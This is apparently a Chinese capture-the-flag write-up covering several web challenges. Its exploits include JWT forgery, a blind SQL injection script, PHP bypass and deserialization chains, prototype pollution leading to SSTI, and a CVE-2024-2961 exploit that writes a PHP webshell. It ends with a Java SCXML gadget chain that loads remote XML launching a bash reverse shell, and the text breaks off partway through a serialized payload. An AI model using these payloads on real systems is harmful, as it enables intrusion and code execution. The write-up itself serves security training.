jwt.decode(token.split(" " )[1 ], options={"verify_signature" : False , "verify_exp" : False }) if decoded.get('role' ) == 'admin' : with open ('/flag' , 'r' ) as f: flag_content = f.read() return jsonify({'flag' : flag_content}), 200 else : return jsonify({'message' : 'Access denied: admin only' }), 403 except FileNotFoundError: return jsonify({'message' : 'Flag file not found' }), 404 except jwt.ExpiredSignatureError: return jsonify({'message' : 'Token has expired' }), 401 except jwt.InvalidTokenError: return jsonify({'message' : 'Invalid token' }), 401 return jsonify({'message' : 'Token is missing' }), 401 if __name__ == '__main__' : app.run(debug=True )
发现作为admin用户登录即可获得flag
注意到第35行的decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
,发现对jwt是直接进行解码而未进行验证的
先向login
路由发送登录信息获取一个token
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJCUiIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzI3NTA5NTk1fQ.7oH1uZKH7D0PZGl-zuzkfNG4LJS2q-KhjEEWtWNHUo0
Header解码后为
1 2 3 4 { "alg" : "HS256" , "typ" : "JWT" }
Payload解码后为
1 2 3 4 5 { "sub" : "BR" , "role" : "user" , "exp" : 1727509595 }
需要修改role为admin,而由于在解码过程中,未对jwt的加密进行验证,这就意味着直接修改即可
修改并base64编码
1 eyJzdWIiOiJCUiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNzUwOTU5NX0
得到伪造的admin的token
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJCUiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNzUwOTU5NX0.7oH1uZKH7D0PZGl-zuzkfNG4LJS2q-KhjEEWtWNHUo0
访问/flag并在请求头添加
1 Authorization:a eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJCUiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNzUwOTU5NX0.7oH1uZKH7D0PZGl-zuzkfNG4LJS2q-KhjEEWtWNHUo0
ps: a和token之间有个空格不能省,原因是35行的token.split(" ")[1]
only one sql 题目描述 只可以一句哦
考点
题解 题目给出源码
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/select|;|@|\n/i' , $sql )) { die ("你知道的,不可能有sql注入" ); } if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"" ;system ($query );
发现禁止了select,同时提示我们flag位于ctf库下的flag表中
传入?sql=show columns from flag
即可查询表中字段为
1 2 3 Field Type Null Key Default Extra id varchar(300) YES NULL data varchar(300) YES NULL
推测flag在data字段中
使用delete from flag where data like 'f%' and sleep(5)
进行判断,如果like匹配到了,则会执行sleep,而由于sleep始终返回的是null,where始终为假,则不会真的执行delete操作
由此写脚本进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsclass SQL : def __init__ (self ): self .chr_list = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{}" self .url = "http://challenge.basectf.fun:33096/" self .timeout = 3 def blind_injection_by_get_and_chr (self ): flag = "" for _ in range (100 ): for chr in self .chr_list: payload = f"?sql=delete from flag where BINARY data like '{flag+chr } %' and sleep(5)" try : requests.get(self .url + payload, timeout=self .timeout) except : flag += chr print (flag) break if flag[-1 ] == "}" : return flag attack = SQL() attack.blind_injection_by_get_and_chr()
官方WP给出的脚本没有区分大小写,最好在payload中添加BINARY进行大小写区分
等待一会即可获得flag
Fin Back to the future 题目描述 本题理论不需要扫描器
考点
题解 开局只有几个字,没有其他线索,需要信息搜集,既然说到理论不需要扫描器,尝试访问/robots.txt
,发现Disallow: /.git
存在git信息泄露
使用GitHacker进行扫描利用
发现了README.md
1 2 3 4 5 # My Website This is my web project. Oops, I place flag here, but i deleted it!
提示的很明显,应该是要查git日志找历史记录
进入到.git
所在目录,使用git log
命令
看到
使用git log -p e2bc04bc70f7b7476ae7ad0e943ef62aa2b5556e
即可看到flag
1z_php 题目描述 php没有难题(Kengwang和晨曦出的除外)
考点
php解析特性
常见php函数绕过
php原生类
php伪协议
魔术方法
题解 题目给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file ('index.php' );$emp =$_GET ['e_m.p' ];$try =$_POST ['try' ];if ($emp !="114514" &&intval ($emp ,0 )===114514 ){ for ($i =0 ;$i <strlen ($emp );$i ++){ if (ctype_alpha ($emp [$i ])){ die ("你不是hacker?那请去外场等候!" ); } } echo "只有真正的hacker才能拿到flag!" ."<br>" ; if (preg_match ('/.+?HACKER/is' ,$try )){ die ("你是hacker还敢自报家门呢?" ); } if (!stripos ($try ,'HACKER' ) === TRUE ){ die ("你连自己是hacker都不承认,还想要flag呢?" ); } $a =$_GET ['a' ]; $b =$_GET ['b' ]; $c =$_GET ['c' ]; if (stripos ($b ,'php' )!==0 ){ die ("收手吧hacker,你得不到flag的!" ); } echo (new $a ($b ))->$c (); } else { die ("114514到底是啥意思嘞?。?" ); } $shell =$_POST ['shell' ];eval ($shell );?>
首先分析题目要求,经典绕过+套娃类体型
需要满足以下条件才能执行eval()
:
$emp!="114514"
intval($emp,0)===114514
$emp
中不存在字母
preg_match('/.+?HACKER/is',$try)
匹配失败
stripos($try,'HACKER')===True
stripos($b,'php')===0
对于$emp=$_GET['e_m.p'];
,倘若直接传?e_m.p=114514
,则php服务器实际上会将其解析为?e_m_p=114514
,而在php版本<8的环境中,存在一个解析bug,即传入?e[m.p=114514
使php将[
解析为_
,而后面的.
不会再被转义解析。
传入?e[m.p=114514a
,显然$emp!="114514"
,而intval()
会将114514a转化成整型114514,完成条件一二。
然后被条件三拦下,处理方法很简单,把a换成一个非特殊字符即可,例如?e[m.p=114514\
。
对于条件四和五,无法采用数组绕过,想到绕过preg_match的方法还有回溯次数绕过,默认回溯100w次,再100w个字符后的将不会继续匹配,手写自然不限,需要用到脚本辅助,使用python,POST传{try: "a"*1000001 + "HACKER"}
。
对于条件六,传?b=php
即可。
然后注意到echo (new $a($b))->$c();
,很明显,需要用到php原生类,使用SplFileObject
类访问文件,
恰好$b
以php开头,可以使用php伪协议进行文件包含b=php://filter/convert.base64-encode/resource=flag.php
,
最后,实例化这个原生类并调用了其一个名为$C
的方法,原生类中自然存在魔术方法,而要输出字符串,最好的自然是__toString
魔术方法,传?c=__toString
。
最终,exp为
1 2 3 4 5 6 7 8 9 10 import requestsurl = "http://challenge.basectf.fun:41761/" payload = "?e[m.p=114514\\&b=php://filter/convert.base64-encode/resource=flag.php&a=SplFileObject&c=__toString" data = { "try" : "-" *1000001 +"HACKER" } response = requests.post(url+payload, data=data).text print (response)
最后代码虽然给到了shell,但如果前面没有构建成功,代码是无法运行到eval函数处的,要么报错,要么就die了
Jinja Mark 题目描述 ssti注入只会用带花括号的payload?逊诶
考点
题解 访问根路由,提示:都进题了,愣着干嘛,去/index里啊!什么?你想要flag,那你去/flag啊!
得知还有/index
和/flag
路由
访问/flag
路由,提示:你不会以为这里真的有flag吧?想要flag的话先猜猜我的幸运数字,用POST方式把 lucky_number 告诉我吧,只有四位数哦
访问/index
路由并尝试ssti注入,提示:Hello 别急着ssti注入嘛,先去/magic那里给我变个魔术
,得知还有/magic
路由
访问/magic
则提示:记得用POST方法把魔术交上来
选择先从/flag
路由下手,直接上BurpSuite暴力跑幸运数字,爆破得到幸运数字为5346,并得到部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 BLACKLIST_IN_index = ['{' ,'}' ] def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) @app.route('/magic' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) return "这个魔术还行吧" else : return "我要json的魔术" return "记得用POST方法把魔术交上来"
可以看到{
和}
都被过滤了,但很明显存在原型链污染漏洞,将全局变量BLACKLIST_IN_index给修改掉就可以SSTI注入了
原型链污染的payload为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /magic HTTP/1.1 Host : challenge.basectf.fun:30509Cache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Connection : closeContent-Type : application/jsonContent-Length : 76{ "__init__" :{ "__globals__" :{ "BLACKLIST_IN_index" : [] } } }
原型链污染后,过滤就没有了,此时就可以进行无过滤SSTI了
用焚靖生成一个payload:{{cycler.next.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}
Just Readme (前置) 题目描述 1 echo file_get_contents ($_POST ['file' ]);
仍然是执行 /readflag
考点
题解 对于这样的代码
1 2 3 <?php echo file_get_contents ($_POST ['file' ]); ?>
存在glibc的iconv()中的缓冲区溢出漏洞(CVE-2024-2961)
复现博客CVE-2024-2961复现-CSDN博客
影响PHP 7.0.0 (2015) 到 8.3.7 (2024),file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等
引用晨曦✌的博客:
基本原理就是 iconv 在转换 ISO-2022-CN-EXT 时出现越界写入,iconv
是 php://filter/
使用过滤器时会使用的函数,后边就是pwn的知识了。
更简单的流程就是,先读出php所使用的 libc 和所使用堆的基地址,然后通过缓冲区溢出的越界写入,实现地址覆盖,调用 libc 里面的函数, 从而rce。
原始EXP 下载,将第62行修改为data = response.re.search(b"(.*)", flags=re.S).group(1)
即可
运行exp:python cnext-exploit.py http://gz.imxbt.cn:20358/ "echo '<?php eval(\$_GET[6]);?>' > hack.php"
即可写入木马,访问hack.php?6=system("/readflag");
即可
Readme 题目描述 我要读 flag 啦~ 欸,但是没有回显可怎么办?
请执行 /readflag
如果你在用神奇脚本的话需要改改哦~
考点
题解 相比于Just Readme(前置)
,这个题没有了回显,尝试运行之前的exp,返回
1 2 3 4 5 6 [-] Remote.download did not return the test string -------------------- Expected test string: b'2FancwkqtVnShWtBdZWZZcWjvGbUgvEHczEkmmlVqe7yOwjD7W' Got: b'' -------------------- [-] If your code works fine, it means that the data:// wrapper does not work
官方WP说将第62行换成data = response.text
即可,但是我这边并没有成功,也可能是复现环境的问题
Lucky Number 题目描述 原型链污染的大手可以伸很长的哦
考点
题解 访问根路由,提示:都进题了,愣着干嘛,想要flag的话,那你去/flag啊!
访问/flag
路由,提示你不会以为这里真的有flag吧?想要flag的话先提交我的幸运数字5346,但是我的主人觉得我泄露了太多信息,就把我的幸运数字给删除了,但是听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,你可以去/m4G1c里尝试着接触到这个方法,下面是前人留下来的信息,希望对你有用
以及部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask,request,render_template_string,render_templatefrom jinja2 import Templateimport jsonimport heavendef merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() BLACKLIST_IN_index = ['{' ,'}' ] def is_json (data ): try : json.loads(data) return True except ValueError: return False @app.route('/m4G1c' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) result = heaven.create() message = result["message" ] return "这个魔术还行吧 " + message else : return "我要json的魔术" return "记得用POST方法把魔术交上来" def create (kon="Kon" , pure="Pure" , *, confirm=False ): if confirm and "lucky_number" not in create.__kwdefaults__: return {"message" : "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?" , "lucky_number" : "nope" } if confirm and "lucky_number" in create.__kwdefaults__: return {"message" : "这是你的lucky_number,请拿好,去/check下检查一下吧" , "lucky_number" : create.__kwdefaults__["lucky_number" ]} return {"message" : "你有什么想创造的吗?" , "lucky_number" : "nope" }
需要借助__kwdefaults__
污染heaven.py
下create
类的lucky_number
,因为导入了heaven
模块,所以直接在__init__.__globals__
中就可以找到,在heaven
模块下,存在create
类,再利用__kwdefaults__
修改confirm
和lucky_number
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "__init__" : { "__globals__" : { "heaven" : { "create" : { "__kwdefaults__" : { "confirm" : true , "lucky_number" : "5346" } } } } } }
官方给出的污染链则是
没有导入sys模块,则通过json模块下的__spec__
内置属性,通过<模块名>.__spec__.__init__.__globals__['sys']
获取到sys模块,再进一步获取到heaven模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "__init__" : { "__globals__" : { "json" : { "__spec__" : { "__init__" : { "__globals__" : { "sys" : { "modules" : { "heaven" : { "create" : { "__kwdefaults__" : { "confirm" : true , "lucky_number" : "5346" } } } } } } } } } } } }
污染成功后,提示我们访问/check
路由,如果达成污染目标,则提示:太好了,你拿到我的幸运数字了,已经帮你把黑名单清空了,快去/ssSstTti1注入吧
,然后再访问/ssSstTti1
进行一个无过滤SSTI即可
Payload:{{cycler.next.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}
RCE or Sql Inject 题目描述 不可能有SQL注入,RCE好像也不太可能
R! C! E!
mysql远程连接和命令行操作是不是有些区别呢
输个问号看看?
考点
题解 题目给出源码
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/se|ec|;|@|del|into|outfile/i' , $sql )) { die ("你知道的,不可能有sql注入" ); } if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"" ;system ($query );
提示输入问号,在mysql命令行中输入,可以看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ? (\?) Synonym for `help'. clear (\c) Clear the current input statement. connect (\r) Reconnect to the server. Optional arguments are db and host. delimiter (\d) Set statement delimiter. ego (\G) Send command to mysql server, display result vertically. exit (\q) Exit mysql. Same as quit. go (\g) Send command to mysql server. help (\h) Display this help. notee (\t) Don't write into outfile. print (\p) Print current command. prompt (\R) Change your mysql prompt. quit (\q) Quit mysql. rehash (\#) Rebuild completion hash. source (\.) Execute an SQL script file. Takes a file name as an argument. status (\s) Get status information from the server. system (\!) Execute a system shell command. tee (\T) Set outfile [to_outfile]. Append everything into given outfile. use (\u) Use another database. Takes database name as argument. charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets. warnings (\W) Show warnings after every statement. nowarning (\w) Don't show warnings after every statement.
应该是在提示我们使用某一个方法,推测应该需要用到system进行RCE
使用换行符%0a
绕过--
注释符,即可利用system
进行RCE,在目录中没有找到flag,最后发现在环境变量里
paylaod:?sql=%0asystem%20env
Sql Inject or RCE 题目描述 不可能有RCE,SQL注入好像也不太可能
考点
题解 题目给出源码
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/se|ec|st|;|@|delete|into|outfile/i' , $sql )) { die ("你知道的,不可能有sql注入" ); } if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"" ;system ($query );
相比于RCE or Sql Inject
,过滤了st,无法RCE了,这道题应该是SQL注入
将del
的过滤改成了delect
,搜索del
开头的关键字
注意到有delimiter
,它的作用是标志SQL语句的结束,正常来说,因为;
被过滤了,无法进行堆叠注入,而通过修改SQL语句的结束标志,就可以绕过这个过滤,达成堆叠注入
1 2 3 delimiter aaa # 将结束符修改为aaa handler flag open aaa # 使用handler代替select 读取flag,由only on sql 推测flag在ctf.flag handler flag read next aaa # first 被过滤,使用next
payload: %0adelimiter%20aaa%0ahandler%20flag%20open%20aaa%20handler%20flag%20read%20next%20aaa
ez_php 题目描述 php 能有什么难题(
考点
php反序列化
特殊变量传参
GC回收机制
引用绕过
字符串逃逸
题解 题目给到源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php highlight_file (__file__);function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); } class Hacker { public $start ; public $end ; public $username ="hacker" ; public function __construct ($start ) { $this ->start=$start ; } public function __wakeup ( ) { $this ->username="hacker" ; $this ->end = $this ->start; } public function __destruct ( ) { if (!preg_match ('/ctfer/i' ,$this ->username)){ echo 'Hacker!' ; } } } class C { public $c ; public function __toString ( ) { $this ->c->c (); return "C" ; } } class T { public $t ; public function __call ($name ,$args ) { echo $this ->t->t; } } class F { public $f ; public function __get ($name ) { return isset ($this ->f->f); } } class E { public $e ; public function __isset ($name ) { ($this ->e)(); } } class R { public $r ; public function __invoke ( ) { eval ($this ->r); } } if (isset ($_GET ['ez_ser.from_you' ])){ $ctf = new Hacker ('{{{' .$_GET ['ez_ser.from_you' ].'}}}' ); if (preg_match ("/\[|\]/i" , $_GET ['substr' ])){ die ("NONONO!!!" ); } $pre = isset ($_GET ['substr' ])?$_GET ['substr' ]:"substr" ; $ser_ctf = substrstr ($pre ."[" .serialize ($ctf )."]" ); $a = unserialize ($ser_ctf ); throw new Exception ("杂鱼~杂鱼~" ); }
先构造POC链
最终目标是R->__invoke()
,这需要E->__isset()
触发,又需要F->__get()
触发,再需要T->__call()
触发,再需要C->__toString()
触发,如果Hacker->__destruct()
中的$this->username
是一个对象,便可触发__toString()
,至此,链子已经很清晰了
但存在__wakeup()
对username的覆写,但其下一行存在赋值操作,可使用引用绕过
同时程序主动抛出错误,使得__destruct()
无法到达,利用GC回收机制绕过
链子如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php class Hacker { public $start ; public $end ; public $username ="hacker" ; public function __construct ($start ) { $this ->start=$start ; } public function __wakeup ( ) { $this ->username="hacker" ; $this ->end = $this ->start; } public function __destruct ( ) { if (!preg_match ('/ctfer/i' ,$this ->username)){ echo 'Hacker!' ; } } } class C { public $c ; public function __toString ( ) { $this ->c->c (); return "C" ; } } class T { public $t ; public function __call ($name ,$args ) { echo $this ->t->t; } } class F { public $f ; public function __get ($name ) { return isset ($this ->f->f); } } class E { public $e ; public function __isset ($name ) { ($this ->e)(); } } class R { public $r ; public function __invoke ( ) { eval ($this ->r); } } $r = new R ();$r ->r = 'phpinfo();' ;$e = new E ();$e ->e = $r ;$f = new F ();$f ->f = $e ;$t = new T ();$t ->t = $f ;$c = new C ();$c ->c = $t ;$hacker = new Hacker ("ctfer" );$hacker ->end = &$hacker ->username;$hacker ->start = $c ;$exp =array ($hacker ,NULL );echo serialize ($exp );
substrstr()
函数会截取serialize($ctf)
的值进行反序列化,本地测试一下serialize($ctf)
的值,发现为:
1 O:6:"Hacker":3:{s:5:"start";s:211:"{{{a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:10:"phpinfo();";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:0;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}
其中O:6:"Hacker":3:{s:5:"start";s:208:"{{{`会影响我们的反序列化,是我们不想要的,最后的`}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}
不影响解析,因此可以不用管,经过计算需要截取38个字符
利用mb_strpos()
和mb_substr()
一起使用导致的解析漏洞,以下引用别人博客
1 2 3 每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节,截取3字节 每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节,截取2字节 每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节,截取1字节
因此,最终payload为:
1 substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:20:"system("cat /flag");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:0;N;}
scxml 题目描述 https://blog.pyn3rd.com/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/
考点
题解 以下转自官方WP
java代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 package com.n1ght;import org.apache.commons.scxml2.SCInstance;import org.apache.commons.scxml2.SCXMLExecutor;import org.apache.commons.scxml2.env.jexl.JexlEvaluator;import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;import sun.misc.Unsafe;import javax.swing.event.EventListenerList;import javax.swing.undo.CompoundEdit;import javax.swing.undo.UndoManager;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.AccessibleObject;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;import java.util.HashMap;import java.util.Vector;public class AAA { public static void main (String[] args) throws Exception{ SimpleSCXMLInvoker simpleSCXMLInvoker = new SimpleSCXMLInvoker (); Unsafe unsafe = getUnsafe(); SCXMLExecutor scxmlExecutor = new SCXMLExecutor (); scxmlExecutor.setEvaluator(new JexlEvaluator ()); Constructor<SCInstance> declaredConstructor = SCInstance.class.getDeclaredConstructor(SCXMLExecutor.class); declaredConstructor.setAccessible(true ); SCInstance scInstance = declaredConstructor.newInstance(scxmlExecutor); unsafe.putObject(simpleSCXMLInvoker,unsafe.objectFieldOffset(simpleSCXMLInvoker.getClass().getDeclaredField("parentSCInstance" )),scInstance); unsafe.putObject(scInstance,unsafe.objectFieldOffset(scInstance.getClass().getDeclaredField("evaluator" )),new JexlEvaluator ()); InvokerImpl invoker = new InvokerImpl (simpleSCXMLInvoker, "http://ip/scxm2.xml" , new HashMap <>()); EventListenerList list2 = new EventListenerList (); UndoManager manager = new UndoManager (); bypassModule(AAA.class,CompoundEdit.class); Vector vector = (Vector) getFieldValue(manager, "edits" ); vector.add(invoker); setFieldValue(list2, "listenerList" , new Object []{InternalError.class, manager}); ByteArrayOutputStream bao = new ByteArrayOutputStream (); new ObjectOutputStream (bao).writeObject(list2); System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray())); } public static void setAccessible (AccessibleObject member) throws Exception { member.setAccessible(true ); } public static Field getField (Class<?> clazz, String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); setAccessible(field); } catch (Exception var4) { if (clazz.getSuperclass() != null ) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Object getFieldValue (Object obj, String fieldName) throws Exception { Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static Unsafe getUnsafe () throws Exception { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafe = (Unsafe)field.get((Object)null ); return unsafe; } public static void bypassModule (Class src, Class dst) throws Exception { Unsafe unsafe = getUnsafe(); long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(src, addr, unsafe.getObject(dst,unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )))); } }
链子
1 EventListenerList#readObject->InvokerImpl#toString->SimpleSCXMLInvoker#invoke->SCXMLExecutor#go
外部加载XML
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <scxml xmlns ="http://www.w3.org/2005/07/scxml" version ="1.0" initial ="run" > <state id ="run" > <onentry > <script > '' .getClass ().forName ('java.lang.Runtime' ).getRuntime ().exec ('bash -c {echo,bash -i的密文}|{base64,-d}|{bash,-i}' ) </script > </onentry > </state > </scxml >
payload
1 2 3 POST /scxml?rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy8X6fHQgqwh0CAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAVY29tLm4xZ2h0Lkludm9rZXJJbXBskzknNs6grL8CAANMAAFvdAAqTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvaW52b2tlL0ludm9rZXI7TAAGcGFyYW1zdAAPTGphdmEvdXRpbC9NYXA7TAAGc291cmNldAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAzb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5pbnZva2UuU2ltcGxlU0NYTUxJbnZva2VyAAAAAAAAAAECAAVaAAljYW5jZWxsZWRMAAtldmVudFByZWZpeHEAfgAQTAAIZXhlY3V0b3J0AClMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TQ1hNTEV4ZWN1dG9yO0wAEHBhcmVudFNDSW5zdGFuY2V0ACZMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TQ0luc3RhbmNlO0wADXBhcmVudFN0YXRlSWRxAH4AEHhwAHBwc3IAJG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU0NJbnN0YW5jZQAAAAAAAAACAgAKTAALY29tcGxldGlvbnNxAH4AD0wACGNvbnRleHRzcQB+AA9MAAlldmFsdWF0b3J0ACVMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9FdmFsdWF0b3I7TAAIZXhlY3V0b3JxAH4AE0wACWhpc3Rvcmllc3EAfgAPTAAUaW5pdGlhbFNjcmlwdENvbnRleHR0ACNMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9Db250ZXh0O0wADmludm9rZXJDbGFzc2VzcQB+AA9MAAhpbnZva2Vyc3EAfgAPTAAUbm90aWZpY2F0aW9uUmVnaXN0cnl0ADBMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9Ob3RpZmljYXRpb25SZWdpc3RyeTtMAAtyb290Q29udGV4dHEAfgAYeHBzcgAlamF2YS51dGlsLkNvbGxlY3Rpb25zJFN5bmNocm9uaXplZE1hcBtz+QlLSzl7AwACTAABbXEAfgAPTAAFbXV0ZXh0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAdeHNxAH4AG3NxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AIHhzcgAwb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5lbnYuamV4bC5KZXhsRXZhbHVhdG9yAAAAAAAAAAECAAJaABBqZXhsRW5naW5lU2lsZW50WgAQamV4bEVuZ2luZVN0cmljdHhwAABzcgAnb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ1hNTEV4ZWN1dG9yAAAAAAAAAAECAAhaAAlzdXBlclN0ZXBMAA1jdXJyZW50U3RhdHVzdAAiTG9yZy9